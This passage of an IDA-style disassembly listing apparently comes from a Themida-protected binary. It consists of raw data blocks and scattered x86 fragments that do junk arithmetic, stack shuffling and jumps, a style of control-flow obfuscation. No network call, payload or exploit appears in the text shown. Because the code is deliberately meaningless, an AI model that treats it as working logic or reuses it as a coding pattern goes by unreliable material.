0C1315C3Dh, 0FF649FE9h, 0A9BA52FFh dd 1400958h, 0B207E9D0h, 0D101FFFFh, 8124148Bh, 4C4h, 1CBD5500h dd 0E9B1E4DAh, 0FFFFC84Dh, 4BDh, 5A93E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566326: ; CODE XREF: Themida_:0055E3C1j or ecx, 4F3611F9h jmp loc_55A85C ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 4C481h, 57E90000h, 0F7FFFF98h, 0E9D187D2h, 0FFFF3438h dd 0C94C0E35h, 58C50150h, 0FF63BEE9h, 5B2D5BFFh, 0E930814Ch dd 2015h, 0E904C483h, 0FFFF9ECAh ; --------------------------------------------------------------------------- loc_566368: ; CODE XREF: Themida_:0055A11Fj mov dl, 6 jmp loc_563823 ; --------------------------------------------------------------------------- db 89h dd 4BF57E3h, 1000000h, 0BD52E9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56637E: ; CODE XREF: Themida_:0055C7B9j add esi, ebp pop ebp xchg esi, [esp] pop esp and eax, ebp jmp loc_567270 ; --------------------------------------------------------------------------- dd 0C48EF581h, 0C381DBA0h, 28924180h, 0EB81EB01h, 28924180h dd 0FFB514E9h db 0FFh ; --------------------------------------------------------------------------- loc_5663A5: ; CODE XREF: Themida_:00554B50j or esi, 70353C2h jmp loc_55BDD9 ; --------------------------------------------------------------------------- aNhW db 'h(w',0 align 2 dw 43E9h dd 81FFFF47h, 581B44CDh, 60F58125h, 1FFFFFFh, 5CE95DEAh dd 81FFFFCBh, 4C4h, 24343300h, 33243431h, 248B2434h, 24048924h dd 0FFCF0CE9h, 5DE981FFh, 811DB33Ch, 183374E9h, 81C10174h dd 183374C1h, 5DC18174h, 8B1DB33Ch, 0C4812404h, 4, 4C181h dd 0FF510000h, 59042474h, 8B24048Fh, 24D32424h, 0CC7FE924h dd 1C8BFFFEh, 4C48324h, 1447685Dh, 1C890000h, 24148B24h dd 6F79E950h, 0D501FFFFh, 8124148Bh, 4C4h, 4C58100h, 33000000h dd 2C31242Ch, 242C3324h, 53D0015Ch, 39574BBBh, 7591E96Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566466: ; CODE XREF: Themida_:0055B985j push 5323h mov [esp], esi mov esi, 2 push edi mov edi, 57C8565Dh add ebp, 0F264536h sub ebp, edi sub ebp, 0F264536h mov edi, [esp] push esi mov esi, esp jmp loc_559631 ; --------------------------------------------------------------------------- loc_566492: ; CODE XREF: Themida_:00553502j add edx, edi add edx, 62585A80h mov edi, [esp] add esp, 4 push 29D7h jmp loc_56036A ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 1EE90000h, 5EFFFF29h, 0FF3836E9h, 0E0B151FFh dd 0C8BCB30h, 4C48124h, 50000000h, 0E288DC88h, 241C8B58h dd 4C481h, 0D3880000h, 5A2434FFh, 8904EC83h, 5954240Ch dd 4C181h, 0E9570000h, 0FFFED414h, 0F5354F2Dh, 2434FF32h dd 4C4835Eh, 0FFCB25E9h db 0FFh ; --------------------------------------------------------------------------- loc_566509: ; CODE XREF: Themida_:005541BAj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_55421C ; --------------------------------------------------------------------------- db 68h, 0BFh, 61h dd 2C890000h, 2EF8BD24h, 0C5816623h, 6ACD6941h, 15DE801h dd 0F1E958C3h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56654F: ; CODE XREF: Themida_:0055B571j mov esi, 31C5074Ah xor esi, 31C5074Eh mov ebp, esi pop esi jmp loc_559F24 ; --------------------------------------------------------------------------- loc_566562: ; CODE XREF: Themida_:00561BD1j xor al, 43h sub bl, 21h add bl, al add bl, 21h pop eax movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_55C2C4 ; --------------------------------------------------------------------------- db 66h, 51h, 0B1h dd 4192C8Fh, 0D7D5E928h, 0E952FFFFh, 1ECh, 8CC6815Fh, 0E9672B56h dd 0FFFFB5BDh, 0E9243C8Bh, 0FFFF36A9h, 0B1242C81h, 810EB377h dd 44032404h, 2C81284Eh, 5A423C24h, 0F131E913h, 8159FFFFh dd 2C2h, 0D5D4E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5665DA: ; CODE XREF: Themida_:005550FEj mov ebx, [esp] add esp, 4 jmp loc_55DB85 ; --------------------------------------------------------------------------- loc_5665E5: ; CODE XREF: Themida_:005679F3j push edx sub esp, 4 mov [esp], esi push ebx jmp loc_565691 ; --------------------------------------------------------------------------- dw 0C181h dd 0AD23783Ah, 242C8151h, 63B061Ah, 1AC2815Ah, 0E9063B06h dd 0FFFF32DBh, 0FE31F731h, 0D6F7F731h, 0FE31F731h, 0C781F731h dd 6FFA7EF3h, 374768h, 240C8900h, 8151F989h, 52AF242Ch dd 0D7E94119h, 51FFFF67h, 592414F7h, 3B38E981h, 4CE95EC6h dd 5AFFFFD3h, 4246C01h, 83242C8Bh, 0A9E904C4h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566657: ; CODE XREF: Themida_:0056618Dj push ebx jmp loc_554FAD ; --------------------------------------------------------------------------- db 59h, 0, 0D5h dd 24148B66h, 2802C483h, 0E5D4E9EFh, 0A2BFFFFFh, 475D5F6Bh dd 81E9DFF7h, 5BFFFEF8h, 4CDFEA81h, 0DE92D63h, 68000021h dd 492Eh, 89240C89h, 20BD55E1h, 810C7B6Eh, 7E2235E5h, 0A8CD812Ah dd 83099A62h, 565001C5h, 204F02BEh, 0C6814E31h, 0C4E54E5Ah dd 15EF089h, 0E98158C5h, 3ECA650Fh, 0C181E901h, 3ECA650Fh dd 83242C8Bh, 4C6804C4h, 8900003Ch, 51572414h, 345FAB68h dd 240C8B4Ah, 0FFAE9EE9h, 24248BFFh, 0FF53E9E9h, 0EFD15EFFh dd 1BD55h, 0BBE90000h db 0, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5666FB: ; CODE XREF: Themida_:005585D6j xor esi, 2361CC16h sub edi, esi jmp loc_553CB4 ; --------------------------------------------------------------------------- loc_566708: ; CODE XREF: Themida_:005636E2j inc ebp xchg ecx, ebp push ecx jmp loc_55EF6B ; --------------------------------------------------------------------------- loc_566711: ; CODE XREF: Themida_:00561EA4j mov ebx, 3D747EDEh and ebx, 2B3424A9h push ecx mov ecx, 73902513h xor ebx, ecx pop ecx add ebx, 0A55BFE66h push ecx push esi push 273Bh mov [esp], ebx mov ebx, 32440576h push ebp push 129A0785h mov ebp, [esp] add esp, 4 push eax mov eax, 2E5C55EDh add ebp, 5FE532F6h add ebp, 615175A1h jmp loc_55B788 ; --------------------------------------------------------------------------- db 57h, 0BFh, 4 dd 29000000h, 14875FFAh, 1C895C24h, 0D1E2E924h, 2489FFFEh dd 0C261E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56677A: ; CODE XREF: Themida_:00557640j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_555A18 ; --------------------------------------------------------------------------- dd 8904EC83h, 93B3241Ch, 0C680A4B6h, 0DB3EE939h, 1C87FFFFh dd 16E95C24h, 35FFFFECh, 563F392Eh, 48BC331h, 4C48324h dd 0F15BEB81h, 0C6813D9Ah, 2AD50B43h, 0EE81DE01h, 2AD50B43h dd 52C6015Bh, 156C13BAh, 0E9D62972h, 0FFFEE39Eh, 455F68h dd 240C8900h, 2434FF54h, 0E9240C8Bh, 0FFFF2219h, 37FECF81h dd 0C7812874h, 0BDCE7801h, 0FF5FFE01h, 8FE92434h db 0E1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566803: ; CODE XREF: Themida_:00565341j add edi, ecx jmp loc_5668D3 ; --------------------------------------------------------------------------- loc_56680A: ; CODE XREF: Themida_:0055E341j mov esi, 4 sub ebx, 50D12061h add ebx, esi add ebx, 50D12061h pop esi xchg ebx, [esp] pop esp add eax, ecx jmp loc_556206 ; --------------------------------------------------------------------------- loc_566829: ; CODE XREF: Themida_:00555F88j add esp, 4 push ebp sub esp, 4 mov [esp], esi push ebp mov ebp, 47141728h mov esi, 0C4458CB9h sub esi, ebp pop ebp mov ebp, 62FF7268h xor ebp, esi mov esi, [esp] jmp loc_55642C ; --------------------------------------------------------------------------- dd 9D64E953h, 0DF01FFFFh, 2C7815Bh, 0E9000000h, 0FFFF71A5h dd 2424895Ch, 4240481h, 5D000000h, 4C581h, 0C5830000h dd 1FB5E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56687E: ; CODE XREF: Themida_:0055C09Ej push 4D4Ch mov [esp], edx push esp pop edx add edx, 4 add edx, 4 jmp loc_557EF0 ; --------------------------------------------------------------------------- dw 0EB81h dd 29BE5972h, 0EA9E955h, 4870000h, 10F7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5668AA: ; CODE XREF: Themida_:00555AABj add edi, 676F71AEh pop eax and edi, 75F71F50h not edi sub edi, 33A26716h xor edi, 8B01E391h mov ebp, edi pop edi sub ebp, 1 jmp loc_555B61 ; --------------------------------------------------------------------------- loc_5668D3: ; CODE XREF: Themida_:00566805j add edi, 79E774E2h sub edi, 3C766A2Bh mov ecx, [esp] add esp, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] movzx ecx, ax jmp loc_563E6C ; --------------------------------------------------------------------------- dw 0B850h dd 1BE65DD1h, 0FF34D9E9h, 4C581FFh, 52000000h, 0FF78B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_566919: ; CODE XREF: Themida_:0055D157j not edx jmp loc_558BF7 ; --------------------------------------------------------------------------- loc_566920: ; CODE XREF: Themida_:0055D42Cj add ebp, 4 jmp loc_566CCB ; --------------------------------------------------------------------------- db 8Fh dd 895C2404h, 20682424h, 0E9000069h, 0FFFF369Ah ; --------------------------------------------------------------------------- loc_56693C: ; CODE XREF: Themida_:00568012j and bl, 70h jmp loc_55AC8B ; --------------------------------------------------------------------------- dd 6DF18159h, 0E92F821Bh, 0FFFF67BCh, 8B24048Fh, 0F662424h dd 9C2404A3h, 0FF31BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_566961: ; CODE XREF: Themida_:0055A984j add eax, 4 jmp loc_554868 ; --------------------------------------------------------------------------- loc_56696B: ; CODE XREF: Themida_:00558973j add ebp, ecx pop ecx sub eax, ebp pop ebp sub eax, 7ABD53BAh push edi mov edi, 15EA329Fh sub esp, 4 mov [esp], esi push eax jmp loc_5625E6 ; --------------------------------------------------------------------------- db 57h dd 2434FF54h, 0E189515Fh, 4C181h, 0C1830000h, 240C8704h dd 4B8505Ch, 1000000h, 626858C7h, 89000002h, 0E9572414h dd 0FFFFA95Ah, 0F6E8E580h, 4041E9D5h, 0BD55FFFFh, 26E53A8Fh dd 6AD5E581h, 0BE561D7Fh, 2180089Eh, 0FF638FE9h, 2424D3FFh dd 0C6C3E99Ch, 405AFFFEh, 8904EC83h, 14F72404h, 2404FF24h dd 6BB95158h, 29A3645Ch, 0C12959C8h, 9EE94958h, 28FFFFE3h dd 895351C8h, 4C381E3h, 81000000h, 4EBh, 241C8700h, 241C895Ch dd 56E917B3h, 53FFFFA4h, 21F968h, 0CD7AE900h, 0EAC1FFFFh dd 6E2EE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566A36: ; CODE XREF: Themida_:0055D0CDj inc dl push eax mov ah, 6Bh dec ah sub ah, 41h jmp loc_561FB1 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0ECC08FB4h, 2DEC8006h, 0FF06D1E9h, 22DCBEFFh, 0EE811508h dd 5FD33652h, 3ECE8146h, 81620161h, 0CA1245C6h, 74056808h dd 1C890000h, 1637BB24h, 0BA527697h, 4D874E8Bh, 7D18F281h dd 0D3312551h, 0C3834B5Ah, 0C1D3F7FFh, 0EB8303E3h, 0D5C38101h dd 2964C14Ch, 0BCD9E9DFh, 6F21FFFFh, 242C8B1Ch, 68F668h dd 240C8900h, 0C1815954h, 4, 0FF4DB6E9h, 243489FFh, 587BB568h dd 0DDE95E49h, 52FFFED3h, 0D788AAB2h, 9234E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566AD6: ; CODE XREF: Themida_:0055CCBBj xor edi, ebx mov ebx, [esp] add esp, 4 and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push ebx push esp pop ebx add ebx, 4 sub esp, 4 mov [esp], edi mov edi, 4 sub ebx, 4064478Ch add ebx, edi add ebx, 4064478Ch pop edi push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp shr eax, 0Eh jmp loc_55FAE9 ; --------------------------------------------------------------------------- db 55h, 68h, 7Bh dd 5D70F127h, 8904EC83h, 0B1E92434h, 66FFFF6Fh, 66676D68h dd 66241489h, 62E99C50h, 0B8FFFEC5h, 427C7E19h, 8381EB05h dd 58C701BDh, 0E9243C33h, 0FFFFE967h, 33FCF81h, 0C7814487h dd 23F179B6h, 2034EF81h, 0F829B218h, 58C6315Fh, 875EF301h dd 248B241Ch, 0C8B6624h, 4EC8324h, 68242C89h, 0D2Fh, 81242C89h dd 4ECh, 48F5400h, 24048124h, 4, 1F0AE9h db 0 ; --------------------------------------------------------------------------- loc_566BA1: ; CODE XREF: Themida_:00559851j add ebx, 0A4EC1429h add esi, 39081135h push ebx jmp loc_554E65 ; --------------------------------------------------------------------------- loc_566BB3: ; CODE XREF: Themida_:0055D043j shr edx, 7 jmp loc_554674 ; --------------------------------------------------------------------------- db 8Bh dd 0B3E92414h, 51FFFF21h, 0B617F4B9h, 0F181492Bh, 64756106h dd 0FF2C54E9h, 7C5B9FFh, 0CA291693h, 0FF6444E9h, 0C48159FFh dd 4, 0FF1523E9h db 0FFh ; --------------------------------------------------------------------------- loc_566BED: ; CODE XREF: Themida_:005591ADj sub edi, 0A62445FAh add esi, edi pop edi sub edx, 3B7A0B8Dh sub edx, esi add edx, 3B7A0B8Dh pop esi jmp loc_564CA1 ; --------------------------------------------------------------------------- loc_566C0A: ; CODE XREF: Themida_:0055354Cj xor [esp], edi xor edi, [esp] pop esp mov [esp], edi jmp loc_557188 ; --------------------------------------------------------------------------- loc_566C19: ; CODE XREF: Themida_:00560C19j mov esi, [esp] add esp, 4 sub edx, 9772356h jmp loc_558F46 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 815BDD01h, 4ECh, 243C8900h, 870B8EBFh, 681Ah, 9DE90000h dd 57FFFF5Ah, 20225DBFh, 0D2CF8126h, 476C153Ah, 0FFA4DAE9h dd 242C8BFFh, 4C481h, 89560000h, 4C681E6h, 83000000h, 348704EEh dd 0C895C24h, 2CB0B924h, 4C0177EEh, 56590424h, 0C681E689h dd 4, 0FED969E9h, 4EEC1FFh, 0FEF54EE9h, 241489FFh, 0FF242C81h dd 5AFFFFFFh, 9613F281h, 0D001B4BCh, 5724148Bh, 0C781E789h dd 4, 4C781h, 0F6E90000h, 83FFFFA8h, 9E904ECh db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566CCB: ; CODE XREF: Themida_:00566926j add ebp, 4 xchg ebp, [esp] mov esp, [esp] add esp, 4 jmp loc_557EE2 ; --------------------------------------------------------------------------- dd 1BCEE281h, 0EA8126CCh, 1CDE6A15h, 0FCE9DAF7h, 31FFFF01h dd 0C33240Ch, 24248B24h, 24148966h, 0E99C5066h, 0FFFEC3A1h dd 7590C981h, 0B0E908D9h, 0FFFFF36h, 0FFD92984h, 4EC83FFh dd 0FFAEB9E9h, 4C483FFh, 0FF13A2E9h, 0E9FE88FFh, 0FFFEE6D4h dd 405h, 24048700h, 0FF1500E9h, 4EC81FFh, 89000000h, 0B9512404h dd 5BED0E0Fh, 12F1F0B8h, 0E9C831A4h, 0FFFF69B5h, 0E9243C87h dd 0FFFFC5ABh, 8106E5C1h, 9F0904C5h, 5DE80107h, 405h, 24043300h dd 33240431h, 248B2404h, 69E95324h, 0BBFFFEE1h, 5C83007Ah dd 17DDB951h, 0F1814E33h, 38056A18h, 0E902E1C1h, 0FFFF5196h ; --------------------------------------------------------------------------- loc_566D98: ; CODE XREF: Themida_:00553F88j push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_55AD96 ; --------------------------------------------------------------------------- dw 0D001h dd 0FF003CE9h, 5DE929FFh, 0E9240C87h, 0FFFF64E7h, 0BB241C89h dd 4141354Ch, 5604E3C1h, 3276E1BEh, 0E9F33159h, 0FFFF7259h dd 4246C29h, 87ABE95Dh, 1433FFFFh, 24248B24h, 9C240409h dd 0FEC2B0E9h, 24148BFFh, 5904C483h, 7A8A7FBFh, 36EF8109h dd 0E97D032Fh, 0FFFEF2D2h, 0E9241489h, 0FFFFA6CAh, 2823BA52h dd 0D5216AC4h, 7E5C15Ah, 7588F581h, 0F5813BDEh, 0A4071C5h dd 0B768h, 24048900h, 0FF2CDCE9h, 0DEB151FFh, 0C180E1D0h dd 9F22E9F4h, 6ABDFFFFh, 4D595F3Eh, 0EDC1DDF7h, 50EDD102h dd 1B7CDFB8h, 0DC93E97Eh, 0EB81FFFEh, 0A896CC7h, 4269CB81h dd 0DBF77EB0h, 8005F381h, 80E90103h, 5BFFFECFh, 0A8E9FB87h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566E7F: ; CODE XREF: Themida_:005581D4j add ebx, 0B4D5DE5h not ebx inc ebx add ebx, 3FB1411h add esi, ebx jmp loc_5679EF ; --------------------------------------------------------------------------- loc_566E95: ; CODE XREF: Themida_:0055A5F2j pop edx jmp loc_568A72 ; --------------------------------------------------------------------------- db 55h dd 0FFCE2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_566EA1: ; CODE XREF: Themida_:0055AEDDj inc edx jmp loc_55EA55 ; --------------------------------------------------------------------------- loc_566EA7: ; CODE XREF: Themida_:00559637j add esi, 4 xchg esi, [esp] pop esp add ebp, 55F75A4Ah add ebp, 4E6C5808h add ebp, esi jmp loc_568B2A ; --------------------------------------------------------------------------- loc_566EC4: ; CODE XREF: Themida_:0055BC53j push ebp mov ebp, 1063286Eh xor ebp, 4ED00D8h jmp loc_559F11 ; --------------------------------------------------------------------------- loc_566ED5: ; CODE XREF: Themida_:0055A95Cj push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] or edx, eax jmp loc_55C9E0 ; --------------------------------------------------------------------------- db 0FFh dd 80E92434h, 1FFFF44h, 0BBBCE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566EF6: ; CODE XREF: Themida_:00566FA3j mov ebp, 339340FAh push edi mov edi, 7B5D73EAh dec edi xor edi, 10F85728h shr edi, 5 jmp loc_56168A ; --------------------------------------------------------------------------- dd 17CCE95Ch, 248B0000h, 0C8B6624h, 5A545224h, 0FF47BDE9h dd 4EC81FFh, 89000000h, 4BB241Ch, 81000000h, 4F58FFEEh dd 0A6C68172h, 1245A71h, 0EABF57DEh, 0E9105F42h, 0FFFEC245h ; --------------------------------------------------------------------------- loc_566F4C: ; CODE XREF: Themida_:0055DEF1j push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 xchg ebp, [esp] jmp loc_5618E9 ; --------------------------------------------------------------------------- aPhM db 'Ph',1Bh,'m',0 align 2 dw 0CFE9h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_566F6B: ; CODE XREF: Themida_:0055E9E3j xchg ebx, [esp] pop esp push edx mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], esi push eax push 17C96864h push dword ptr [esp] jmp loc_55A513 ; --------------------------------------------------------------------------- loc_566F96: ; CODE XREF: Themida_:00557BE0j add edx, esi pop esi and edx, 433B7C54h shr edx, 2 push ebp jmp loc_566EF6 ; --------------------------------------------------------------------------- loc_566FA8: ; CODE XREF: Themida_:005545D5j push ecx mov ecx, 20673FDAh add ebx, ecx pop ecx sub ebx, eax jmp loc_55CEEF ; --------------------------------------------------------------------------- dd 8049F680h, 0F6803ACEh, 8BF328EDh, 0C4832414h, 8BD82804h dd 0E950241Ch, 0FFFF40C4h ; --------------------------------------------------------------------------- loc_566FD4: ; CODE XREF: Themida_:0055B170j mov dword ptr [eax], 0BCB6D43Eh jmp loc_55D7BF ; --------------------------------------------------------------------------- loc_566FDF: ; CODE XREF: Themida_:0055D956j pop edx sub ebp, eax add ebp, 64751291h jmp loc_5683D1 ; --------------------------------------------------------------------------- loc_566FED: ; CODE XREF: Themida_:00561A52j shl ecx, 3 add ecx, 0A58F48A1h sub eax, ecx pop ecx add eax, edi push edx mov edx, 61DE22A1h jmp loc_55A299 ; --------------------------------------------------------------------------- loc_567006: ; CODE XREF: Themida_:0055CE09j add ebx, 4 jmp loc_557C40 ; --------------------------------------------------------------------------- loc_567011: ; CODE XREF: Themida_:0055E17Cj mov eax, [esp] push edx mov edx, esp add edx, 4 jmp loc_5593E3 ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0C1810000h, 4, 0E9240C33h, 0FFFEE4AFh, 8124048Bh dd 4C4h, 46E4E900h, 0E789FFFFh, 4C781h, 0C7810000h, 4 dd 0E9243C87h, 0FFFF7125h, 34FFF901h, 1531E924h, 1489FFFFh dd 48BD5524h, 837BD2C2h, 2C8904ECh, 24148B24h, 0FED343E9h dd 4C481FFh, 66000000h, 6672CE68h, 0B4240489h, 0E9E70061h dd 0FFFF8767h ; --------------------------------------------------------------------------- loc_567094: ; CODE XREF: Themida_:0055E6A1j push 3CEE63F8h pop esi push eax mov eax, 0E94799Bh add esi, eax jmp loc_555A2E ; --------------------------------------------------------------------------- db 0B8h dd 3CDA223Fh, 0E958C201h, 0FFFFD843h, 0E9243C89h, 0C56h ; --------------------------------------------------------------------------- loc_5670BC: ; CODE XREF: Themida_:00557E7Fj pop esp shr eax, 0Bh xor ecx, eax sub esp, 4 mov [esp], ebx push ebx mov ebx, 9336D6Dh sub [esp+4], ebx jmp loc_55BB1C ; --------------------------------------------------------------------------- dw 8B66h dd 0A8E92404h, 0B9FFFFF8h, 788F1EC9h, 0FFA587E9h, 0F6DCF6FFh dd 72E480DCh, 8010C480h, 0E300ADF4h, 0E9DA0058h, 0FFFF98BBh ; --------------------------------------------------------------------------- loc_567104: ; CODE XREF: Themida_:005546FEj mov eax, 3F59090Ch shl eax, 1 jmp loc_55DEB8 ; --------------------------------------------------------------------------- dd 6661EF80h, 0E924048Bh, 0FFFF1BD2h ; --------------------------------------------------------------------------- loc_56711C: ; CODE XREF: Themida_:00564954j mov edx, [esp] add esp, 4 jmp loc_55340B ; --------------------------------------------------------------------------- db 89h dd 9368243Ch, 5F528372h, 2F4CEF81h, 0FBE91F09h, 0BDFFFF94h dd 618A4D46h, 8246C01h, 246C015Dh, 246C8104h, 8A4D4604h dd 0FB07E961h, 4B9FFFFh, 1000000h, 1C3359CBh, 241C3124h dd 8B241C33h, 34FF2424h, 89525824h, 97E953E2h, 89FFFFBCh dd 405E0h, 51E90000h, 5DFFFF67h, 0FFE146E9h, 241433FFh dd 33241431h, 248B2414h, 28ED6824h, 14890000h, 74D96824h dd 24890000h, 43E95524h db 0C9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5671AB: ; CODE XREF: Themida_:0055E960j not bl add bl, 0 mov al, bl pop ebx jmp loc_55BE36 ; --------------------------------------------------------------------------- dd 0CD5A6A05h, 52F0017Fh, 0CD5A6ABAh, 0E9D0297Fh, 0FFFF3641h ; --------------------------------------------------------------------------- loc_5671CC: ; CODE XREF: Themida_:00561BB5j push dword ptr [esp] pop ebp push edx push esp pop edx push esi mov esi, 1D4F4155h dec esi add esi, 6566255Dh shl esi, 6 xor esi, 0AD59AC44h add edx, esi pop esi add edx, 4 xor edx, [esp] jmp loc_556BAA ; --------------------------------------------------------------------------- dw 5152h dd 0FED706E9h, 240C89FFh, 749CE954h, 2489FFFFh, 24048124h dd 4, 0FEE8FAE9h, 4C181FFh, 83000000h, 0C8704C1h, 0C6685C24h dd 8900004Fh, 0E6892434h, 4BF57h, 0FE010000h, 4C6835Fh dd 2474FF56h, 24348B04h, 8F04C483h, 0E95C2404h, 0FFFFEE72h dd 3270CE35h, 92BB530Ch, 815DD775h, 262CF6EBh, 5BD83110h dd 0F7A29F2Dh, 0E9C501D0h, 0FFFFFDC8h ; --------------------------------------------------------------------------- loc_567270: ; CODE XREF: Themida_:00566387j push dword ptr [esp] push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edi jmp loc_560AC5 ; --------------------------------------------------------------------------- dw 13B5h dd 8B66EA20h, 0C483240Ch, 80D2F602h, 0EC81A7E2h, 4, 68240489h dd 0C10h, 0B2241489h, 8BD08883h, 0C4812414h, 4, 241C8650h dd 1C86D3F6h, 53665824h, 0D8308BB3h, 0EA805B66h, 80C228F8h dd 8058F8C2h, 0F28001EAh, 4EC8138h, 89000000h, 2EB22414h dd 0FFADE5E9h, 0D0C381FFh, 137C40Ch, 0D0EB81F3h, 5737C40Ch dd 808BCBFh, 0E9FB297Fh, 0FFFF696Eh, 350458h, 0C536E9D8h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567316: ; CODE XREF: Themida_:00559419j pop eax xchg edi, [esp] pop esp mov [esp], esi jmp loc_563A0C ; --------------------------------------------------------------------------- loc_567323: ; CODE XREF: Themida_:0055C661j add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_565BB8 ; --------------------------------------------------------------------------- loc_567334: ; CODE XREF: Themida_:00564E4Ej push ebp jmp loc_55B19C ; --------------------------------------------------------------------------- dw 3C89h dd 0F8685324h, 5B3BE70Bh, 8105EBC1h, 301E9CC3h, 5BDF89FFh dd 295FF889h, 6815E9C6h, 36B8FFFFh, 2578100Bh, 48CF18E9h dd 1995BF57h, 0C14F1BA8h, 0F78106E7h, 7BCA6911h, 8108EFC1h dd 0DCC053F7h, 5FF82108h, 7FC2Dh, 8BC30108h, 0FF682404h dd 8900000Bh, 0E589242Ch, 4C581h, 0C5810000h, 4, 5C242C87h dd 0FF415AE9h, 8BDE21FFh, 0C481241Ch, 4, 0FF409AE9h, 244481FFh dd 34139704h, 2444812Fh, 0DA0CC804h, 24440161h, 246C8104h dd 0DA0CC804h, 246C8161h, 34139704h, 6850562Fh, 494A1984h dd 0C247E958h, 7DBAFFFEh, 295EF00Ah, 0F665AD0h, 0CDE900B6h db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5673FB: ; CODE XREF: Themida_:0055551Dj mov eax, [esp] add esp, 4 and eax, edx pop edx or edx, eax shl edx, 1 jmp loc_55CD32 ; --------------------------------------------------------------------------- dd 0FDB3E981h, 0C781106Fh, 9AE3C62h, 0BE56CF01h, 42500AA0h dd 38ADF681h, 0D14E5353h, 4AC681E6h, 29E7A7D8h, 34FF5EF7h dd 0C4835924h, 0E68BE904h, 6853FFFEh, 59A82AB3h, 0D5F3815Bh dd 0E903E23Bh, 0FFFEF5FEh, 3124248Bh, 0EAE92404h, 89FFFF54h dd 1CE92414h, 88FFFF68h, 0C6DCE9CCh, 0C8BFFFFh, 0EC835324h dd 48F5404h, 0BBC3E924h, 0E668FFFFh, 89000005h, 0BA522434h dd 0C5E6EEFh, 0FFD842E9h, 80CAFEFFh, 0EA8087F2h, 0F55EE938h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56749E: ; CODE XREF: Themida_:00567FFEj push eax pop ecx pop eax and ecx, 3997338Ch or ecx, 0BBF4546h push 6769h jmp loc_554CE9 ; --------------------------------------------------------------------------- db 89h dd 9AE9243Ch db 31h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5674BF: ; CODE XREF: Themida_:0055A7D5j add ebp, 732306A7h jmp loc_55E382 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4244481h, 182A1B95h, 4247401h, 4246C81h, 182A1B95h dd 8324348Bh, 34FF04C4h, 24348B24h, 0FFB02BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5674F5: ; CODE XREF: Themida_:0055F959j push ebp not dword ptr [esp] jmp loc_55E5BB ; --------------------------------------------------------------------------- dw 0F589h dd 0FF7DE7E9h, 0EC83ADFFh, 243C8904h, 0FFFF31E9h db 0FFh ; --------------------------------------------------------------------------- loc_567511: ; CODE XREF: Themida_:00556805j mov edi, 5E5C2758h jmp loc_555F07 ; --------------------------------------------------------------------------- loc_56751B: ; CODE XREF: Themida_:0055BAACj sub esi, ecx pop ecx jmp loc_55D092 ; --------------------------------------------------------------------------- db 8Bh dd 0C3312424h, 0B5E9C231h, 81FFFF64h, 0CC3015C3h, 5B0B8B15h dd 0E9E68956h, 0FFFFC76Fh, 0B2528304h, 0CC86E9E4h, 483FFFFh dd 98E90424h, 81FFFF94h, 4C4h, 166D6800h, 34890000h, 2474FF24h dd 48F5E04h, 24248B24h, 0BF243C89h, 4, 673BC681h, 0E7E94B04h dd 0BFFFFF3Ch, 25483DD7h, 0FEEF9CE9h, 5374B0FFh, 0FF0D73E9h db 0FFh ; --------------------------------------------------------------------------- loc_567591: ; CODE XREF: Themida_:005628A5j xor eax, ecx jmp loc_55F8CF ; --------------------------------------------------------------------------- dd 0BB53CD01h, 361640F4h, 5FA8E381h, 0DBF7660Bh, 0DBF7D3F7h dd 8102E3C1h, 0EF1AF7C3h, 6F49E9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5675BA: ; CODE XREF: Themida_:0056106Aj xor [esp], edx xor edx, [esp] mov esp, [esp] push dword ptr [esp] pop eax push 7BCCh mov [esp], edi sub esp, 4 